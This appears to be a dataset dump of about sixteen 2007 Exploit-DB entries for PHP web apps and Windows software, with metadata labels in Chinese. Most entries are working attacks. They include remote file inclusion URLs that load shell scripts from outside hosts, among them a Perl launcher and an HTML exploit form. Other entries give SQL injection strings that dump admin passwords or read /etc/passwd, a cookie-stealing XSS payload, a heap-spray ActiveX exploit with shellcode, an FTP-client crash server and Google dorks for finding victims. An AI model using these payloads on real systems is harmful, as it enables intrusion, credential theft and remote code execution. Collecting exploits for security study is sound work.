QLWD/code_shield huggingface dataset:
标题: Maian Recipe 1.0 - 'path_to_folder' Remote File Inclusion EDB-ID: 3284 CVE: 2007-0848 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-07 漏洞利用脚本: *****************
Found by Denven *
*****************
*****************
*****************
Script: http://www.maianscriptworld.co.uk/freestuff_1975_recipe.html
*****************
Google Dork: "Powered by Maian Recipe v1.0"
*****************
ERROR:
classes/class_mail.inc.php :

include($path_to_folder.'classes/class.phpmailer.php');


****************************************************************************
**********
RFI:

http://www.SITE.com/path/classes/class_mail.inc.php?path_to_folder=[shell]

****************************************************************************
**********
denven[at]gmail[dot]com

# milw0rm.com [2007-02-07] URL: https://www.exploit-db.com/exploits/3284
标题: Kisisel Site 2007 - 'tr' SQL Injection EDB-ID: 3278 CVE: 2007-0826 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-06 漏洞利用脚本: ###############################################################
#Ki.isel Site 2007 (tr) == SQL Injection Vulnerability
#Author : cl24zy
#Site : www.hacklive.org , www.illegal-attack.org
#Contact: admin@hacklive.org
###############################################################
#Download Ki.isel Site 2007 (tr) : http://www.aspindir.com/goster/4693
#Demo : http://www.gazilogo.com/personel/

#Exploit;
#Admin Nick, Passport;
http://[SITE]/forum.asp?sayfa=konular&forumid=-1%20union+all+select+0,kullaniciadi,2,3,sifre,5,6,7+from+admin

#Union data Text;
#Konu Ba.l.klar. : Admin UserName
#Yazan : Admin Password

# iLLeGaL-ATTaCK//TiM & HacKLivETeaM
################################################################

# milw0rm.com [2007-02-06] URL: https://www.exploit-db.com/exploits/3278
标题: otscms 2.1.5 - SQL Injection / Cross-Site Scripting EDB-ID: 3283 CVE: 2007-0847 2007-0846 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-07 漏洞利用脚本: ***************************************************************************************************************
                                                                                
                      Coding 4 Fun            
                                                    
***************************************************************************************************************
                  
* Name = OTSCMS 2.1.5 by Wrzasq (http://otscms.com) ;            
                  
* Class = Sql Injection / XSS  ;           
                
* Download = http://sourceforge.net/project/showfiles.php?group_id=145557 ;        
                  
* Found by = GregStar (gregstar[at]c4f.pl) (http://c4f.pl) ;                 
                    
---------------------------------------------------------------------------------------------------------------
[SQL] 
                
Vulnerable Code in [path]/mod/PM/reply.php            
                
line 22-26              
                
...                
                
extract( $http->extract('id') );

// reads message
$pm = $db->query('SELECT [pms].`name` AS `name` [...]  ' AND [pms].`id` = ' . $id)->fetchAll(); <---
$pm = $pm[0];        
                
...                
 
Example :

http://[target]/[path]/priv.php?command=reply&id=-1%20UNION%20SELECT%20accno,null,password%20FROM%20accounts ;


----
[XSS]


http://[target]/[path]/forum.php?module=User&command=profile&name=<script>alert(document.cookie);</script>

# milw0rm.com [2007-02-07] URL: https://www.exploit-db.com/exploits/3283
标题: AgerMenu 0.01 - 'top.inc.php?rootdir' Remote File Inclusion EDB-ID: 3280 CVE: 2007-0837 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-07 漏洞利用脚本: ===============================================================
Discovered by GolD_M(Mahmnood_ali) & &  Contact: HackEr_@W.Cn
===============================================================
URL Script: http://www.chbs.dk/proj/agermenu/agermenu-0.01.tgz
===============================================================
V.CODE: In : [path]/example/inc/top.inc.php
include $rootdir."inc/agermenu.func.php";
===============================================================
Exploit: v.Cc/[path]/example/inc/top.inc.php?rootdir=Evil.txt?
===============================================================

# milw0rm.com [2007-02-07] URL: https://www.exploit-db.com/exploits/3280
标题: WebMatic 2.6 - 'index_album.php' Remote File Inclusion EDB-ID: 3281 CVE: 2007-0839 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-07 漏洞利用脚本: -------------------------------------********************----------------------------------------------------------
#Title : WebMatic 2.6

#Author : MadNet

#Contact : MadNet[at]Hackertr[Dot]org

#S.Page : www.valarsoft.com  :)

--------------------------------------*******************-----------------------------------------------------------


Error1 :  require($P_LIB."lib_album.php");

Error2 :  require($P_INDEX."page_album.inc");


[[RFI]]

http://[target]/[path]/core/index/index_album.php?P_LIB=[Shell]

http://[target]/[path]/core/index/index_album.php?P_INDEX=[Shell]

-------------------------------------------------

Example1 : [Path]/core/index/index_album.php?P_LIB=http://[path]/shell.txt

Example2 : [Path]/core/index/index_album.php?P_INDEX=http://[path]/shell.txt



''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

-- MadNet From Turkey & Cyber-Sabotger Orgeneral  --


--Thanks Milw0rm

# milw0rm.com [2007-02-07] URL: https://www.exploit-db.com/exploits/3281
标题: SmartFTP Client 2.0.1002 - Remote Heap Overflow Denial of Service EDB-ID: 3277 CVE: 2007-0790 类型: DOS 平台: WINDOWS 发布日期: 2007-02-06 漏洞利用脚本: /***************************************************************************
*              SmartFTP Client v 2.0.1002 Heap Overflow DoS                *
*                                                                          *
*                                                                          *
* There is remote heap overflow in SmartFTP. When the app receives a long  *
* banner (5000 char) the heap is smashed, leading to DoS and to code       *
* execution.                                                               *
*                                                                          *
* There are also two buffer overflow in the fields Address and Login.      *
* I've reported this to Secunia but it seems they didn't think it was dan- *
* gerous cause they didn't publish anything about. However a simple drag'n *
* drop could compromise your system...                                     *
*                                                                          *
* Have Fun!                                                                *
*                                                                          *
* Coded by Marsu <Marsupilamipowa@hotmail.fr>                              *
***************************************************************************/



#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#pragma comment(lib, "ws2_32.lib")

int main(int argc, char* argv[])
{

 char evilbuff[5000];
 sockaddr_in sin;
 int server,client;
 WSADATA wsaData;
 WSAStartup(MAKEWORD(1,1), &wsaData);

 server = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
 sin.sin_family = PF_INET;
 sin.sin_addr.s_addr = htonl(INADDR_ANY);
 sin.sin_port = htons( 21 );
 bind(server,(SOCKADDR*)&sin,sizeof(sin));
 printf("[*] Listening on port 21...\n");
 listen(server,5);
 printf("[*] Waiting for client ...\n");
 client=accept(server,NULL,NULL);
 printf("[+] Client connected\n");

 memset(evilbuff,'A',5000);
 memcpy(evilbuff,"220 ",4);
 memcpy(evilbuff+4997,"\r\n\0",3);

 if (send(client,evilbuff,strlen(evilbuff),0)==-1)
 {
  printf("[-] Error in send!\n");
  exit(-1);
 }
 printf("[+] Data sent\n");

 Sleep(1500);

 if (send(client,"boom?",5,0)==-1)
     printf("[+] Crashed? Crashed!\n");
 else
  printf("[-] Exploit failed!\n");

 return 0;
}

// milw0rm.com [2007-02-06] URL: https://www.exploit-db.com/exploits/3277
标题: Alibaba Alipay - Remove ActiveX Remote Code Execution EDB-ID: 3279 CVE: 2007-0827 类型: REMOTE 平台: WINDOWS 发布日期: 2007-02-06 漏洞利用脚本: /************************************************************************************************
Alipay ActiveX Remote Code Execute Exploit,enjoy it:)
by cocoruder(frankruder_at_hotmail.com)
http://ruder.cdut.net
*************************************************************************************************/

<html>
<head>
<OBJECT ID="com" CLASSID="CLSID:{66F50F46-70A0-4A05-BD5E-FBCC0F9641EC}"></OBJECT>
</head>
<body>

<SCRIPT language="javascript">

function ClickForRunCalc()
{
    var heapSprayToAddress = 0x0d0d0d0d;

    var payLoadCode = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090"+"%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

    var heapBlockSize = 0x400000;

    var payLoadSize = payLoadCode.length * 2;

    var spraySlideSize = heapBlockSize - (payLoadSize+0x38);

    var spraySlide = unescape("%u0d0d%u0d0d");
    spraySlide = getSpraySlide(spraySlide,spraySlideSize);

    heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;

    memory = new Array();

    for (i=0;i<heapBlocks;i++)
    {
        memory[i] = spraySlide + payLoadCode;
    }
    
    com.Remove(0x00d0d0d0);

    function getSpraySlide(spraySlide, spraySlideSize)
    {
        while (spraySlide.length*2<spraySlideSize)
        {
            spraySlide += spraySlide;
        }
        spraySlide = spraySlide.substring(0,spraySlideSize/2);
        return spraySlide;
    }

}
</script>
<button onclick="javascript:ClickForRunCalc();">ClickForRunCalc</button>
</body>
</html>

# milw0rm.com [2007-02-06] URL: https://www.exploit-db.com/exploits/3279
标题: Site-Assistant 0990 - 'paths[version]' Remote File Inclusion EDB-ID: 3285 CVE: 2007-0867 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-08 漏洞利用脚本: <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>Site-Assistant <= v0990(paths[version])Remote File Include Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: Site-Assistant <= v0990(paths[version])Remote File Include Exploit
//'[Coded by   : ajann
//'[Author     : ajann
//'[Contact    : :(
//'[S.Page     : http://www.site-assistant.net
//'[$$         : Free
//'[Using      : Write Target after Submit Click
//'===============================================================================================

//'[[ERROR]]]------------------------------------------------------
//'....
//'..
//'<?
//'
//'include_once($paths[version] . "classes/_menu.php");
//'
//'?>
//'....
//'..
//'[[ERROR]]]---------------------------------------------------------

//# ajann,Turkey
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/classes/"
   var adres="menu.php?" //File name
   var acik ="paths[version]=" // Line 18
   var shell="http://www.ehcbinningen.ch/komutverivee.txt?" // Shell Script
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready Target : )
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">Site-Assistant <= v0990(paths[version])Remote File Include Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-02-08] URL: https://www.exploit-db.com/exploits/3285
标题: HP Tru64 Alpha OSF1 5.1 - 'ps' Information Leak EDB-ID: 3273 CVE: 2007-0805 类型: LOCAL 平台: TRU64 发布日期: 2007-02-06 漏洞利用脚本: #!/bin/ksh
#
# osf1tru64ps.ksh exploit
# Tested on OSF1 V5.1 1885 alpha
#
# ps executable - information leak
# 
# Author: Andrea "bunker" Purificato
#         http://rawlab.mindcreations.com
#
# the "ps" command (also /usr/ucb/ps) on HP OSF1 v5.1 Alpha,
# developed without an eye to security, allows unprivileged users to see
# values of all processes environment variables.
#
# Useful during information discovery.
#
# fake_uname> uname -a           
# OSF1 fake_uname V5.1 1885 alpha
# 
# fake_uname> id
# uid=301(fake_user) gid=216(fake_gid)
#
# fake_uname> /usr/ucb/ps auxeww 
# USER            PID %CPU %MEM   VSZ  RSS TTY      S    STARTED         TIME COMMAND
# ...
# ...
# root        1038875  0.0  0.0 2.02M 184K ??       I    11:39:03     0:00.01 sleep 55 MANPATH=/usr/share/man:/usr/dt/share/man:/usr/local/man:/usr/opt/networker/man:/usr/local/openssh/bin PATH=/sbin:/bin:/usr/bin:/usr/sbin:/sbin:/bin:/usr/bin:/usr/sbin:/sbin:/usr/sbin:/usr/bin:/usr/ccs/bin:/usr/bin/X11:/usr/local:/usr/local/openssh/bin:/usr/opt/networker/bin LOGNAME=root USER=root SHELL=/bin/ksh HOME=/ TERM=vt100 PWD=/opt/AmosLite_Client...
# ...
# ...
# root        1009950  0.0  0.0 2.73M 840K ??       I <    Sep 30     0:31.22 /usr/sbin/auditd -l /LOG_SOURCE/audit/auditlog HOME=/ LOGNAME=root MANPATH=/usr/share/man:/usr/dt/share/man:/usr/local/man:/usr/opt/networker/man:/usr/local/openssh/bin PATH=/sbin:/usr/sbin:/usr/bin:/usr/ccs/bin:/usr/bin/X11:/usr/local:/usr/local/openssh/bin:/usr/opt/networker/bin PWD=/var/audit SHELL=/bin/ksh TERM=xterm USER=root...
# ...
# ...
# oracle       541177  0.0  0.0 28.2M 3.4M ??       S      Sep 01     0:07.00 /app/oracle/product/9.2.0/Apache/Apache/bin/httpd -d /app/oracle/product/9.2.0/Apache/Apache HOME=/app/oracle LD_LIBRARY_PATH=/app/oracle/product/9.2.0/lib:/app/oracle/product/9.2.0/lib:/app/oracle/product/9.2.0/obackup/lib: LOGNAME=oracle NLS_LANG=AMERICAN_AMERICA.WE8MSWIN1252 OBK_HOME=/app/oracle/product/9.2.0/obackup ORACLE_BACKUP=/app/oracle/BACKUP ORACLE_BASE=/app/oracle ORACLE_DOC=/app/oracle/product/9.2.0/oradoc ORACLE_HOME=/app/oracle/product/9.2.0 ORACLE_PATH=/app/oracle/product/9.2.0/oracle ORACLE_SID=...
# ...
# ...
#
echo "Tru64 Alpha OSF1 V5.1 1885  - ps information leak"
echo "Andrea \"bunker\" Purificato - http://rawlab.mindcreations.com"
echo ""
echo "Default ps executable: "
ps auxewww

echo "/usr/ucb/ps executable: "
/usr/ucb/ps auxewww

# milw0rm.com [2007-02-06] URL: https://www.exploit-db.com/exploits/3273
标题: LightRO CMS 1.0 - 'inhalt.php' Remote File Inclusion EDB-ID: 3275 CVE: 2007-0824 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-06 漏洞利用脚本: *******************************************************************************
# Title   :  LightRO CMS 1 beta(inhalt.php) Remote File Include Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.lightro.de.tc/
# $$      :  Free

*******************************************************************************
[[ERROR]]]
..
...
.....
<?
include $dateien['news'];
?>
..
...
.....

[[ERROR]]]


[[RFI]]]

http://[target]/[path]/inhalt.php?dateien[news]=[SHELL]

Example:

//inhalt.php?dateien[news]=http://[target]/[path]/shell.x

[[/RFI]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-02-06] URL: https://www.exploit-db.com/exploits/3275
标题: Categories hierarchy phpBB Mod 2.1.2 - 'phpbb_root_path' Remote File Inclusion EDB-ID: 3270 CVE: 2007-0809 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-05 漏洞利用脚本: # (C) xoron
#
# [Name: Categories hierarchy v2.1.2 (phpbb_root_path) Remote File Include Exploit]
#
# [Script name: Ptifo mod-CH_212_installed
#
# [Author: xoron]
# [Exploit coded by xoron]
#
# [Download: http://sourceforge.net/project/showfiles.php?group_id=125710]
#
# [xoron.biz - xoron.info]
#
# [Thanx: str0ke, kacper, k1tk4t, SHiKA, can bjorn]
#
# [Tesekkurler: chaos, pang0, DJR]
# 
# [POC: /includes/class_template.php?phpbb_root_path=http://evilscripts?]
#
# [Vuln Codes: include($phpbb_root_path . 'includes/template.' . $phpEx); ]
#
#
$rfi = "class_template.php?phpbb_root_path="; 
$path = "/includes/";
$shell = "http://pang0.by.ru/shall/pang057.zz?cmd=";
print "Language: English // Turkish\nPlz Select Lang:\n"; $dil = <STDIN>; chop($dil);
if($dil eq "English"){
print "(c) xoron\n";
&ex;
}
elsif($dil eq "Turkish"){
print "Kodlayan xoron\n";
&ex;
}
else {print "Plz Select Languge\n"; exit;}
sub ex{
$not = "Victim is Not Vunl.\n" and $not_cmd = "Victim is Vunl but Not doing Exec.\n"
and $vic = "Victim Addres? with start http:// :" and $thx = "Greetz " and $diz = "Dictionary?:" and $komt = "Command?:"
if $dil eq "English";
$not = "Adreste RFI acigi Yok\n" and $not_cmd = "Adresde Acýk Var Fakat Kod Calismiyor\n"
and $vic = "Ornek Adres http:// ile baslayan:" and $diz = "Dizin?: " and $thx = "Tesekkurler " and $komt = "Command?:"
if $dil eq "Turkish";
print "$vic";
$victim = <STDIN>;
chop($victim);
print "$diz";
$dizn = <STDIN>;
chop($dizn);
$dizin = $dizn;
$dizin = "/" if !$dizn;
print "$komt";
$cmd = <STDIN>;
chop($cmd);
$cmmd = $cmd;
$cmmd = "dir" if !$cmd;
$site = $victim;
$site = "http://$victim" if !($victim =~ /http/);
$acacaz = "$site$dizin$rfi$shell$cmmd";
print "(c) xoron.info - xoron.biz\n$thx: pang0, chaos, can bjorn\n";
sleep 3;
system("start $acacaz");
}

# milw0rm.com [2007-02-05] URL: https://www.exploit-db.com/exploits/3270
标题: Geeklog 2 - 'BaseView.php' Remote File Inclusion EDB-ID: 3267 CVE: 2007-0810 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-05 漏洞利用脚本: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
GeekLog <= 2.× (BaseView.php) Remote File Include Vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Discovered by GolD_M(Mahmnood_ali) & &  Contact: HackEr_@W.Cn
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
URL:

http://www.geeklog.net/nightly/geeklog2-cvs-nightly.tar.gz
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
V.CODE: In : [path]/system/libraries/Geeklog/MVCnPHP/BaseView.php
require $glConf['path_libraries'] . 'Geeklog/MVCnPHP/ViewInterface.php';
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exploit:

v.Cc/[path]/system/libraries/Geeklog/MVCnPHP/BaseView.php?glConf[path_libraries]=Evil.txt?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Google d0rk: "powered by geeklog"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Thanx : All Libyan & Milw0rm.com & H4cky0u.Com & Google.Com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SpeciaL GreeTz : Tryag.Com & DwRaT.Com & Asb-May.Net
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

# milw0rm.com [2007-02-05] URL: https://www.exploit-db.com/exploits/3267
标题: Flip 2.01 final - 'previewtheme.php?inc_path' Remote File Inclusion EDB-ID: 3266 CVE: 2007-0785 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-04 漏洞利用脚本: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Flip-2.01-final 1.0 <=  Remote File Include Vulnerability
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Discovered by GolD_M(Mahmnood_ali) & &  Contact: HackEr_@W.Cn
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
URL:

http://releases.smallaxesolutions.com/flip-2.01.zip
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
V.CODE: In : [path]/previewtheme.php

include($inc_path . "options.php");
include($inc_path . "head.php");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exploit:

http://Www.Victim.Com/[path]/[path]/previewtheme.php?theme=1&inc_path=Evil.txt?cmd
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Thanx : ThE dE@Th  & Codebreak & Dr Max Virus & Milw0rm.com & H4cky0u.Com & Google.Com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SpeciaL GreeTz : Tryag.Com & DwRaT.Com & Asb-May.Net
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

# milw0rm.com [2007-02-04] URL: https://www.exploit-db.com/exploits/3266
标题: Photo Galerie Standard 1.1 - 'view.php' SQL Injection EDB-ID: 3261 CVE: 2007-0786 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-03 漏洞利用脚本: *******************************************************************************
# Title   :  Photo Galerie Standard <= 1.1 (view.php) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://noname-media.com
# $$      :  Free

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//view.php?id=[SQL]

Example:

etc/passwd Read

//view.php?id=-1%20union%20select%201,load_file(char((47,101,116,99,47,112,97,115,115,119,100)),3,4,0,0,0,0,0,0,0,0,0,0/*&categorie=8&next=1

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-02-03] URL: https://www.exploit-db.com/exploits/3261
标题: KDPics 1.11 - 'exif.php?lib_path' Remote File Inclusion EDB-ID: 3263 CVE: 2006-6517 2006-6516 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-03 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
KDPics <=  Remote File Include Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Discovered by AsTrex    "Rif Hackers  Team"
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
URL:
http://www.phpscripts-fr.net/scripts/download.php?id=2212
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
V.CODE: In :KDPics/lib/exifer/exif.php
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Exploit:
http://www.victime.com/[KDPics_path]/lib/exifer/exif.php?lib_path?=Evil.txt?cmd
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Greeetz to : moroccan islam defenders ,ba azdin , xskull , savi7

# milw0rm.com [2007-02-03] URL: https://www.exploit-db.com/exploits/3263
标题: SMA-DB 0.3.9 - 'settings.php' Remote File Inclusion EDB-ID: 3268 CVE: 2007-0797 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-05 漏洞利用脚本: ********************************************************************************
To ConTacT mE:wWw.Asb-May.net/bb
ScRiPt:-http://people.ee.ethz.ch/~dmaeder/bluevirus/downloader.php?filename=U01BLURC&referrer=hots
Discovered By:- ThE dE@Th <<{AsB-MaY DiScOvEr ExPlIoTs Gr0uP}>>
******************************************************************************
Settings.php:-
include_once($pfad_z."scripts/session.php");
********************************************************************************
ExPlOiT:-http://www.Site.com/theme/settings.php?pfad_z=[Shell]
********************************************************************************

# milw0rm.com [2007-02-05] URL: https://www.exploit-db.com/exploits/3268